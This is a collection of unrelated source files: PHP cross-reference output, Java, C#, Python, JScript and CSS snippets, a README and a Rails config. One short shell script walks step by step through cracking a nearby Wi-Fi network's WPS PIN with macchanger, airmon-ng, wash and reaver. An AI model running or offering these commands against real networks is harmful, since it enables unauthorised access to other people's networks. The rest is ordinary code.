[Top level directory]

title

Body

[close]

Variable Cross Reference

$urls

Defined at:

/bonfire/helpers/markdown_helper.php  ->  line 267

/bonfire/codeigniter/libraries/Trackback.php  ->  line 303

/bonfire/codeigniter/libraries/Trackback.php  ->  line 306

/bonfire/codeigniter/libraries/Trackback.php  ->  line 311

/bonfire/codeigniter/libraries/Trackback.php  ->  line 315

/bonfire/codeigniter/libraries/Trackback.php  ->  line 318

/tests/simpletest/frames.php  ->  line 398

/tests/simpletest/frames.php  ->  line 400

/tests/simpletest/frames.php  ->  line 418

/tests/simpletest/frames.php  ->  line 420

/tests/simpletest/page.php  ->  line 314

/tests/simpletest/browser.php  ->  line 1063

Referenced 39 times:

/bonfire/helpers/markdown_helper.php  ->  line 267

/bonfire/helpers/markdown_helper.php  ->  line 281

/bonfire/helpers/markdown_helper.php  ->  line 293

/bonfire/helpers/markdown_helper.php  ->  line 383

/bonfire/helpers/markdown_helper.php  ->  line 756

/bonfire/helpers/markdown_helper.php  ->  line 757

/bonfire/helpers/markdown_helper.php  ->  line 862

/bonfire/helpers/markdown_helper.php  ->  line 863

/bonfire/codeigniter/libraries/Trackback.php  ->  line 300

/bonfire/codeigniter/libraries/Trackback.php  ->  line 303

/bonfire/codeigniter/libraries/Trackback.php  ->  line 303

/bonfire/codeigniter/libraries/Trackback.php  ->  line 306

/bonfire/codeigniter/libraries/Trackback.php  ->  line 306

/bonfire/codeigniter/libraries/Trackback.php  ->  line 309

/bonfire/codeigniter/libraries/Trackback.php  ->  line 311

/bonfire/codeigniter/libraries/Trackback.php  ->  line 311

/bonfire/codeigniter/libraries/Trackback.php  ->  line 315

/bonfire/codeigniter/libraries/Trackback.php  ->  line 315

/bonfire/codeigniter/libraries/Trackback.php  ->  line 318

/bonfire/codeigniter/libraries/Trackback.php  ->  line 318

/bonfire/codeigniter/libraries/Trackback.php  ->  line 320

/bonfire/codeigniter/libraries/Trackback.php  ->  line 322

/tests/simpletest/frames.php  ->  line 398

/tests/simpletest/frames.php  ->  line 400

/tests/simpletest/frames.php  ->  line 400

/tests/simpletest/frames.php  ->  line 402

/tests/simpletest/frames.php  ->  line 418

/tests/simpletest/frames.php  ->  line 420

/tests/simpletest/frames.php  ->  line 421

/tests/simpletest/frames.php  ->  line 426

/tests/simpletest/frames.php  ->  line 457

/tests/simpletest/frames.php  ->  line 459

/tests/simpletest/page.php  ->  line 314

/tests/simpletest/page.php  ->  line 318

/tests/simpletest/page.php  ->  line 320

/tests/simpletest/browser.php  ->  line 1063

/tests/simpletest/browser.php  ->  line 1064

/tests/simpletest/browser.php  ->  line 1067

/tests/simpletest/browser.php  ->  line 1070

Generated: Thu Oct 23 18:57:41 2014
	Cross-referenced by PHPXref 0.7.1


text:
package org.apache.commons.digester3;

/**
 * RuleSet that mimics the rules set used for Employee and Address creation, optionally associated with a particular
 * namespace URI.
 */
public class TestRuleSet
    extends RuleSetBase
{

    // ----------------------------------------------------------- Constructors

    /**
     * Construct an instance of this RuleSet with default values.
     */
    public TestRuleSet()
    {

        this( null, null );

    }

    /**
     * Construct an instance of this RuleSet associated with the specified prefix, associated with no namespace URI.
     *
     * @param prefix Matching pattern prefix (must end with '/') or null.
     */
    public TestRuleSet( final String prefix )
    {

        this( prefix, null );

    }

    /**
     * Construct an instance of this RuleSet associated with the specified prefix and namespace URI.
     *
     * @param prefix Matching pattern prefix (must end with '/') or null.
     * @param namespaceURI The namespace URI these rules belong to
     */
    public TestRuleSet( final String prefix, final String namespaceURI )
    {

        super(namespaceURI);
        if ( prefix == null )
        {
            this.prefix = "";
        }
        else
        {
            this.prefix = prefix;
        }

    }

    // ----------------------------------------------------- Instance Variables

    /**
     * The prefix for each matching pattern added to the Digester instance, or an empty String for no prefix.
     */
    protected String prefix = null;

    // --------------------------------------------------------- Public Methods

    /**
     * {@inheritDoc}
     */
    @Override
    public void addRuleInstances( final Digester digester )
    {

        digester.addObjectCreate( prefix + "employee", Employee.class );
        digester.addSetProperties( prefix + "employee" );
        digester.addObjectCreate( "employee/address", "org.apache.commons.digester3.Address" );
        digester.addSetProperties( prefix + "employee/address" );
        digester.addSetNext( prefix + "employee/address", "addAddress" );

    }

}


text:
using System;
using System.Threading;

namespace Easy.Backend.Wrappers
{
	public class ThreadWrapper : IThreadWrapper
	{
		public void Sleep(TimeSpan time)
		{
			Thread.Sleep(time);
		}
	}
}


text:
using System.Diagnostics;
using System.Security;

namespace System.Numerics
{
    // ATTENTION: always pass BitsBuffer by reference,
    // it's a structure for performance reasons. Furthermore
    // it's a mutable one, so use it only with care!

    internal static partial class BigIntegerCalculator
    {
        // To spare memory allocations a buffer helps reusing memory!
        // We just create the target array twice and switch between every
        // operation. In order to not compute unnecessarily with all those
        // leading zeros we take care of the current actual length.

        internal struct BitsBuffer
        {
            private uint[] _bits;
            private int _length;

            public BitsBuffer(int size, uint value)
            {
                Debug.Assert(size >= 1);

                _bits = new uint[size];
                _length = value != 0 ? 1 : 0;

                _bits[0] = value;
            }

            public BitsBuffer(int size, uint[] value)
            {
                Debug.Assert(value != null);
                Debug.Assert(size >= ActualLength(value));

                _bits = new uint[size];
                _length = ActualLength(value);

                Array.Copy(value, 0, _bits, 0, _length);
            }

            [SecuritySafeCritical]
            public unsafe void MultiplySelf(ref BitsBuffer value,
                                            ref BitsBuffer temp)
            {
                Debug.Assert(temp._length == 0);
                Debug.Assert(_length + value._length <= temp._bits.Length);

                // Executes a multiplication for this and value, writes the
                // result to temp. Switches this and temp arrays afterwards.

                fixed (uint* b = _bits, v = value._bits, t = temp._bits)
                {
                    if (_length < value._length)
                    {
                        Multiply(v, value._length,
                                 b, _length,
                                 t, _length + value._length);
                    }
                    else
                    {
                        Multiply(b, _length,
                                 v, value._length,
                                 t, _length + value._length);
                    }
                }

                Apply(ref temp, _length + value._length);
            }

            [SecuritySafeCritical]
            public unsafe void SquareSelf(ref BitsBuffer temp)
            {
                Debug.Assert(temp._length == 0);
                Debug.Assert(_length + _length <= temp._bits.Length);

                // Executes a square for this, writes the result to temp.
                // Switches this and temp arrays afterwards.

                fixed (uint* b = _bits, t = temp._bits)
                {
                    Square(b, _length,
                           t, _length + _length);
                }

                Apply(ref temp, _length + _length);
            }

            public void Reduce(ref FastReducer reducer)
            {
                // Executes a modulo operation using an optimized reducer.
                // Thus, no need of any switching here, happens in-line.

                _length = reducer.Reduce(_bits, _length);
            }

            [SecuritySafeCritical]
            public unsafe void Reduce(uint[] modulus)
            {
                Debug.Assert(modulus != null);

                // Executes a modulo operation using the divide operation.
                // Thus, no need of any switching here, happens in-line.

                if (_length >= modulus.Length)
                {
                    fixed (uint* b = _bits, m = modulus)
                    {
                        Divide(b, _length,
                               m, modulus.Length,
                               null, 0);
                    }

                    _length = ActualLength(_bits, modulus.Length);
                }
            }

            public uint[] GetBits()
            {
                return _bits;
            }

            public int GetSize()
            {
                return _bits.Length;
            }

            private void Apply(ref BitsBuffer temp, int maxLength)
            {
                Debug.Assert(temp._length == 0);
                Debug.Assert(maxLength <= temp._bits.Length);

                // Resets this and switches this and temp afterwards.
                // The caller assumed an empty temp, the next will too.

                Array.Clear(_bits, 0, _length);

                uint[] t = temp._bits;
                temp._bits = _bits;
                _bits = t;

                _length = ActualLength(_bits, maxLength);
            }
        }
    }
}


text:
echo set ur wlan0 really down by:
echo '  ifconfig wlan0 down'
read
# ifconfig wlan0 down

echo 'change the mac which is assigned to wlan0'
echo '  u will see the current mac and the fakedMac'
echo '  macchanger -m 00:11:22:33:44:55 wlan0'
read
# macchanger -m 00:11:22:33:44:55

echo 'put ur wlan0 to up'
echo '  ifconfig wlan0 up'
read
# ifconfig wlan0 up

echo 'put ur wlan0 that it can do an injection'
echo 'it will create another interface mon0 which will do the injection'
echo 'so, from now, use mon0 which can do the injection'
echo '  airmon-ng start wlan0'
read
# airmon-ng start wlan0

echo 'check that mon0 works'
echo '	iwconfig mon0'
read
# iwconfig mon0

echo 'see the wifi which u can hack'
echo 'u should see the wifi00 and its bssid00'
echo '	wash -i mon0'
read
# wash -i mon0

echo 'do the hacking'
echo '	reaver -i mon0 -b bssid00 -vv'
read


text:
package com.intellij.debugger.ui.tree;

import javax.annotation.Nullable;

import com.intellij.debugger.DebuggerContext;
import com.intellij.debugger.engine.DebugProcess;
import com.intellij.debugger.engine.evaluation.EvaluateException;
import com.intellij.psi.PsiElement;
import com.intellij.xdebugger.impl.ui.tree.ValueMarkup;
import consulo.internal.com.sun.jdi.Type;
import consulo.internal.com.sun.jdi.Value;
import consulo.ui.image.Image;

public interface ValueDescriptor extends NodeDescriptor
{
	PsiElement getDescriptorEvaluation(DebuggerContext context) throws EvaluateException;

	Value getValue();

	@javax.annotation.Nullable
	default Type getType()
	{
		Value value = getValue();
		return value != null ? value.type() : null;
	}

	void setValueLabel(String label);

	String setValueLabelFailed(EvaluateException e);

	Image setValueIcon(Image icon);

	boolean isArray();

	boolean isLvalue();

	boolean isNull();

	boolean isPrimitive();

	boolean isString();

	@Nullable
	ValueMarkup getMarkup(final DebugProcess debugProcess);

	void setMarkup(final DebugProcess debugProcess, @Nullable ValueMarkup markup);
}


text:
- __EDL__
- Added request parameters through URL
- __README.md__

### Playbooks
- __PAN-OS EDL Service Configuration__
  - New playbook added to the EDL pack - EDL Service Configuration. A single-run playbook which enables Cortex XSOAR's built-in External Dynamic List (EDL) as a service with PAN-OS native EDL Objects to create firewall policy rules that continuously updates with Cortex XSOAR built-in indicator managment cpabilities.


text:
angular.module(PKG.name+'.services').factory('myApi_provisioners',
function ($resource, myApiPrefix) {

  return {

    Provisioner: $resource(myApiPrefix + 'provisioners/:id',
      { id: '@id' },
      {
        getWorkerCapacity: {
          method: 'GET',
          url: myApiPrefix + 'provisioners',
          transformResponse: function (data) {
            data = angular.fromJson(data);
            return {
              total: data.reduce(function(memo, provisioner) {
                       return memo + provisioner.capacityTotal;
                     }, 0),

              free: data.reduce(function(memo, provisioner) {
                      return memo + provisioner.capacityFree;
                    }, 0)
            };
          }
        }
      }
    )

  };

});


text:
import os, re, sys, glob
from collections import defaultdict
import numpy as np
import scipy
import matplotlib
matplotlib.use('Agg')
import seaborn as sns
import pandas as pd

per_branch_rates = defaultdict(dict) #keys will be each of the rate types, and the branch length
tree_ALE = sys.argv[1]
tree_branch_lengths = sys.argv[2]

def get_branch_lengths_by_label(tree_newick,tree_ALE):
#map branch labels to branch lengths
#get labels in order from ALE tree
	branches = {} #key = label, value = length
	inh = open(tree_ALE)
	ale_tree = inh.readline()
	labels = re.findall('[\w0-9]+\:', ale_tree)
	inh.close()
	inh = open(tree_newick)
	newick = inh.readline()
	brlens = re.findall(':[0-9\.]+', newick)
	for i in range(len(labels)):
		branches[labels[i][:-1]] = brlens[i][1:]
	return branches

branches = get_branch_lengths_by_label(tree_branch_lengths,tree_ALE)

#recfiles = [file for file in os.listdir(".") if file.endswith(".ale.uml_rec")]
recfiles = glob.glob("R1_Miss_uml_rec/*ale.uml_rec")
for file in recfiles:
	inh = open(file)
	for line in inh:
		if line.startswith("S_"):
			bits = re.split("\t", line.rstrip())
			branch_label = bits[1]
			gene_copies = float(bits[-1])
			if gene_copies > 0.0:
				dup_rate = float(bits[2])/gene_copies
				transfer_rate = float(bits[3])/gene_copies
				loss_rate = float(bits[4])/gene_copies
				origination_rate = float(bits[5])/gene_copies
				if 'duplication_rate' in per_branch_rates[branch_label]:
					per_branch_rates[branch_label]['duplication_rate'].append(dup_rate)
				else:
					per_branch_rates[branch_label]['duplication_rate'] = [dup_rate]
				if 'loss_rate' in per_branch_rates[branch_label]:
					per_branch_rates[branch_label]['loss_rate'].append(loss_rate)
				else:
					per_branch_rates[branch_label]['loss_rate'] = [loss_rate]
				if 'transfer_rate' in per_branch_rates[branch_label]:
					per_branch_rates[branch_label]['transfer_rate'].append(transfer_rate)
				else:
					per_branch_rates[branch_label]['transfer_rate'] = [transfer_rate]
				if 'origination_rate' in per_branch_rates[branch_label]:
					per_branch_rates[branch_label]['origination_rate'].append(origination_rate)
				else:
					per_branch_rates[branch_label]['origination_rate'] = [origination_rate]
xvals = []
yvals = []
parameter = []
for branch in per_branch_rates:
	#print branch
	#print branches[branch]
	#print per_branch_rates[branch]
	for value in per_branch_rates[branch]['duplication_rate']:
		if branch in branches:
			xvals.append(float(branches[branch]))
			yvals.append(value)
			parameter.append('Duplications')
	for value in per_branch_rates[branch]['transfer_rate']:
		if branch in branches:
			xvals.append(float(branches[branch]))
			yvals.append(value)
			parameter.append('Transfers')
	for value in per_branch_rates[branch]['loss_rate']:
		if branch in branches:
			xvals.append(float(branches[branch]))
			yvals.append(value)
			parameter.append('Losses')
	for value in per_branch_rates[branch]['origination_rate']:
		if branch in branches:
			xvals.append(float(branches[branch]))
			yvals.append(value)
			parameter.append('Originations')
#plotting
df = pd.DataFrame()
df['x'] = np.array(xvals)
df['y'] = np.array(yvals)
df['parameter'] = np.array(parameter)

snsplot = sns.lmplot(x='x', y='y', hue='parameter', col='parameter', data=df, x_estimator=np.mean, sharey=False)
#fig = snsplot.get_figure()
snsplot.savefig("dup_plot.png")

#correlations
dup_df = df.loc[df['parameter']=='Duplications']
trans_df = df.loc[df['parameter']=='Transfers']
loss_df = df.loc[df['parameter']=='Losses']
ori_df = df.loc[df['parameter']=='Originations']
print scipy.stats.pearsonr(dup_df['x'],dup_df['y'])
print scipy.stats.pearsonr(trans_df['x'],trans_df['y'])
print scipy.stats.pearsonr(loss_df['x'],loss_df['y'])
print scipy.stats.pearsonr(ori_df['x'],ori_df['y'])


text:
myIM
====

Yet another web based XMPP client.

Installation
============

1. Install node.js
2. Install npm
3. Install the following npm packages:

    coffee-script
    connect
    socket.io
    node-xmpp

4. Run `coffee server.coffee`
5. Open `http://localhost:3000`


text:
package io.github.moosbusch.lumpi.gui.form.editor.binding.impl;

import org.apache.pivot.wtk.TextInput;
import io.github.moosbusch.lumpi.gui.form.editor.FormEditor;
import io.github.moosbusch.lumpi.gui.form.editor.binding.spi.AbstractTextInputFormEditorBindMapping;

/**
 *
 * @author moosbusch
 */
public class DefaultTextInputBindMapping<T extends TextInput>
        extends AbstractTextInputFormEditorBindMapping<T> {

    public DefaultTextInputBindMapping(FormEditor<T> editor) {
        super(editor);
    }

    @Override
    public String toString(Object value) {
        if (value != null) {
            return value.toString();
        }

        return "";
    }

    @Override
    public Object valueOf(String text) {
        if (text != null) {
            return text;
        }

        return "";
    }
}


text:
<SCRIPT LANGUAGE="JScript">
/*
 *该function执行copy指令
 */
function fn_doufucopy() {
 edit.select();
 document.execCommand('Copy');
}
/*
 *该function执行paste指令
 */
function fn_doufupaste() {
 tt.focus();
 document.execCommand('paste');
}
__>
</SCRIPT>

<script language=javascript>
 /*
  *该function用来创建一个超链接
  */
  function fn_creatlink()
  {
   document.execCommand('CreateLink',true,'true');// 弹出一个对话框输入URL
   //document.execCommand('CreateLink',false,'http://www.51js.com');
  }
 /*
  *该function用来将选中的区块设为指定的背景色
  */
  function fn_change_backcolor()
  {
   document.execCommand('BackColor',true,'#FFbbDD');//true或false都可以
  }
 /*
  * 该function用来将选中的区块设为指定的前景色,改变选中区块的字体大小,改变字体,字体变粗变斜
  */
 function fn_change_forecolor()
 {
  //指定前景色
  document.execCommand('ForeColor',false,'#BBDDCC');//true或false都可以
  //指定背景色
  document.execCommand ('FontSize',false,7);    //true或false都可以
  //字体必须是系统支持的字体
  document.execCommand('FontName',false,'标楷体');   //true 或false都可以
  //字体变粗
  document.execCommand('Bold');
  //变斜体
  document.execCommand('Italic');
 }
 /*
  *该function用来将选中的区块加上不同的线条
  */
  function fn_change_selection()
  {
  //将选中的文字加下划线
  document.execCommand('Underline');
  //在选中的文字上划粗线
  document.execCommand('StrikeThrough');
  //将选中的部分文字变细
  document.execCommand('SuperScript');
  //将选中区块的下划线取消掉
  document.execCommand('Underline');
  }
  /*
   *该function用来将选中的区块排成不同的格式
   */
  function fn_format()
  {
  //有序列排列
  document.execCommand('InsertOrderedList');
  //实心无序列排列
  document.execCommand('InsertUnorderedList');
  //空心无序列排列
  document.execCommand('Indent');
  }
 /*
  *该function用来将选中的区块剪下或是删除掉
  */
 function fn_CutOrDel()
 {
  //删除选中的区块
  //document.execCommand('Delete');
  // 剪下选中的区块
  document.execCommand('Cut');
 }
 /*
  *该function用来将选中的区块重设为一个相应的物件
  */
 function fn_InsObj()
 {
  /*
   ******************************************
   * 以下指令都是为选中的区块重设一个object;
   *  如没有特殊说明,第二个参数true或false是一样的;
   *  参数三表示为该 object的id;
   *  可以用在javascript中通过其指定的id来控制它
   ******************************************
  */
  /*重设为一个button(InsertButton和InsertInputButtong一样,
  只不前者是button,后者是input)*/
  /*document.execCommand('InsertButton',false,"aa"); //true或false无效
  document.all.aa.value="风舞九天";*/
  //重设为一个 fieldset
  /*document.execCommand('InsertFieldSet',true,"aa");
  document.all.aa.innerText="刀剑如梦";*/
  //插入一个水平线
  //document.execCommand('InsertHorizontalRule',true,"aa");
  //插入一个iframe
  //document.execCommand('InsertIFrame',true,"aa");
  //插入一个InsertImage,设为true时需要图片 ,false时不需图片
  //document.execCommand('InsertImage',false,"aa");
  //插入一个checkbox
  //document.execCommand('InsertInputCheckbox',true,"aa");
  //插入一个file类型的object
  //document.execCommand('InsertInputFileUpload',false,"aa");
  //插入一个hidden
  /*document.execCommand('InsertInputHidden',false,"aa");
  alert(document.all.aa.id);*/
  //插入一个InputImage
  /*document.execCommand('InsertInputImage',false,"aa");
  document.all.aa.src=" F-a10.gif";*/
  //插入一个Password
  //document.execCommand('InsertInputPassword',true,"aa");
  //插入一个Radio
  //document.execCommand('InsertInputRadio',false,"aa");
  //插入一个Reset
  //document.execCommand('InsertInputReset',true,"aa");
  //插入一个Submit
  //document.execCommand('InsertInputSubmit',false,"aa");
  //插入一个input text
  //document.execCommand('InsertInputText',false,"aa");
  //插入一个textarea
  //document.execCommand('InsertTextArea',true,"aa");
  //插入一个 select list box
  //document.execCommand('InsertSelectListbox',false,"aa");
  //插入一个single select
  document.execCommand('InsertSelectDropdown',true,"aa");
  //插入一个line break(硬回车??)
  //document.execCommand('InsertParagraph');
  //插入一个marquee
  /*document.execCommand('InsertMarquee',true,"aa");
  document.all.aa.innerText="bbbbb";*/
  //用于取消选中的阴影部分
  //document.execCommand('Unselect');
  //选中页面上的所有元素
  //document.execCommand('SelectAll');
 }
 /*
  *该function用来将页面保存为一个文件
  */
 function fn_save()
 {
  //第二个参数为欲保存的文件名
  document.execCommand('SaveAs','mycodes.txt ');
  //打印整个页面
  //document.execCommand('print');
 }
</script>


text:
/*package com.google.zxing.qrcode;*/

import 'mocha'
import * as assert from 'assert'

import BarcodeFormat from './../../../core/BarcodeFormat'
import MultiFormatReader from './../../../core/MultiFormatReader'
import AbstractBlackBoxTestCase from './../common/AbstractBlackBoxTestCase'

/**
 * Tests of various QR Codes from t-shirts, which are notoriously not flat.
 *
 * @author dswitkin@google.com (Daniel Switkin)
 */
export default class QRCodeBlackBox4TestCase extends AbstractBlackBoxTestCase {

  public constructor() {
    super("src/test/core/resources/blackbox/qrcode-4", new MultiFormatReader(), BarcodeFormat.QR_CODE)
    this.addTest(36, 36, 0.0)
    this.addTest(35, 35, 90.0)
    this.addTest(35, 35, 180.0)
    this.addTest(35, 35, 270.0)
  }

}

describe("QRCodeBlackBox4TestCase", () => {
  it("testBlackBox", (done) => {
    const test = new QRCodeBlackBox4TestCase()
    test.testBlackBox(() => {
      done()
    })
  })
})


text:
/* We are using the font awesome set. */
@import url('//maxcdn.bootstrapcdn.com/font-awesome/4.1.0/css/font-awesome.min.css');

/* This applies the blur filter to the video/preview etc */
.video-js .vjs-tech.vjs-blur {
	-webkit-transition: .75s all;
	transition: .75s all;

	-webkit-filter: blur(5px);
	filter: blur(5px);
}

/* Basic overlay styles, we are using the table-cell layout hack to center the content */
.video-js .vjs-sharing-overlay {
	background: rgba( 0, 0, 0, 0.6 );
	position: absolute;
	top: 0;
	left: 0;
	opacity: 0;
	-webkit-transition: .75s all;
	transition: .75s all;

	/* Root "Table" element for hack */
	display: table;
	height: 100%;
	width: 100%;
}

/* Icon for our initial button */
.vjs-control.vjs-share-button {
	cursor: pointer;
}
.vjs-control.vjs-share-button:before {
	font-family: FontAwesome;
}

/* The styles for an on-screen button */
.video-js > .vjs-control.vjs-share-button {
	position: absolute;
	top: 1em;
	right: 1em;
}
.video-js > .vjs-control.vjs-share-button:hover:before {
	text-shadow: 0 0 .3em rgba( 255,255,255,0.8);
}

/* The styles for the button on a control bar */
.vjs-control-bar .vjs-control.vjs-share-button:before {
	content: '\f064';
}

.video-js > .vjs-control.vjs-share-button:before {
	content: '\f14d';
	font-size: 2em;
	color: rgba(255,255,255,0.75);
	text-shadow: 0 0 .5em rgba(0,0,0,0.8);
}

/* Styling for the icons */
.vjs-sharing-container {
	/* The table-cell of the hack */
	display: table-cell;
	height: 100%;
	width: 100%;

	vertical-align: middle;
	text-align: center;
}

/* Icon body */
.vjs-sharing-container .vjs-share-icon {
	font-size: 7em;
	margin: .2em;
	cursor: pointer;
	position: relative;
}
/* The actual Icon */
.vjs-sharing-container .vjs-share-icon:hover:before {
	color: #fff;
	text-shadow: 0 0 .5em rgba(255,255,255,0.5);
}

/* Show the text that is usually hidden in a videojs.Button */
.vjs-sharing-container .vjs-share-icon .vjs-control-text {
	position: absolute;
	width: 100%;
	font-size: .15em;
	font-weight: 700;
	text-align: center;
	left: 0;
	bottom: -1em;

	clip: initial;
	height: initial;
	margin: 0;
}

/* To show/hide the onscreen button.  Duplicate the showing / hiding of the control bar */

.vjs-has-started.vjs-user-inactive.vjs-playing > .vjs-control.vjs-share-button,
.video-js > .vjs-control.vjs-share-button {
	display: block;
	visibility: hidden;
	opacity: 0;
	-webkit-transition: visibility 1s, opacity 1s;
	-moz-transition: visibility 1s, opacity 1s;
	-o-transition: visibility 1s, opacity 1s;
	transition: visibility 1s, opacity 1s;
}

.vjs-has-started  > .vjs-control.vjs-share-button {
	display: block;
	visibility: visible;
	opacity: 1;
	-webkit-transition: visibility 0.1s, opacity 0.1s;
	-moz-transition: visibility 0.1s, opacity 0.1s;
	-o-transition: visibility 0.1s, opacity 0.1s;
	transition: visibility 0.1s, opacity 0.1s;
}


text: Rails.application.config.session_store :cookie_store, key: '_zenforms_session'